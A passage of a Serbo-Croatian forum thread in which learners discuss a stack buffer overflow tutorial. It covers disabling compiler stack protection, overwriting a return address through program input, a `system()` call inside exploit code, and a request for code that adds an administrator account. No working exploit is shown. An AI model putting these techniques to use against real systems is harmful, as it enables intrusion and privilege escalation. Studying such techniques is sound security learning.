zvrba: Sad si ga stvarno pretjerao! Pa nije MS sa .NET-om to sve izmislio....


To mu ja stalno pricam :-)
[ big_B @ 07.11.2005. 21:57 ] @
Možete li updatati linkove, jer......

Yahoo! - Help
--------------------------------------------------------------------------------


Sorry, the page you requested was not found.
[ `and @ 08.11.2005. 23:11 ] @
http://www.geocities.com/im_happy_icefor/Tutoriali.html
[ Adison @ 03.03.2006. 11:26 ] @
Znam da malo kasnim, ali boje sada nego nikada...

Citam i citam ovaj 'and-ov tut i nikako da prođe taj overflow. Kolmpajliram sa VS 2003, i isključene su GS flags.
Citam sa ollydb i na kraju nezanam da li je problem u kompajleru, ollydb-u ili sam jednostavno toliko glup da ovo
nemogu shvatiti.

Ovako izkompajlirao sam ovaj 'and-ov program i stavio ga u attachment. Pronašao sam adresu od funkcije na adresi
00 41 1A 1E. Pretvorio sam to u bazu 10 i dobio 00 65 26 30. U cmd-u upisujem > ime_programa 12345678^^^ZA i javlja uvijek grešku
o korumpiranosti stacka. I na tu poruku kliknem ignore i na kraju izbaci poruku o greški kako je prces "trminiran" i kraj.

Pokušao sam i sa adresom 00 41 1A 00 -> 00 65 26 00.

Može li mi netko pomoći. Ovo radim već 10. puta a nikakvog rezultata.

OS je XP SP2, ali isti problem sam imao i na SP1.
[ anon28907 @ 03.05.2006. 23:43 ] @
kada pokusam da u kod exploita dodam:
Code:
system("cd C:\Documents and Settings\Administrator\Start Menu");


Ono mi kaze "Path not found"

Zasto?
[ anon28907 @ 06.05.2006. 00:17 ] @
Citat:
dodavanje korisnika sa admin privilegijama


hmm.... bilo bi lepo kad bi stavili kod ovoga :)



[Ovu poruku je menjao [email protected] dana 06.05.2006. u 01:17 GMT+1]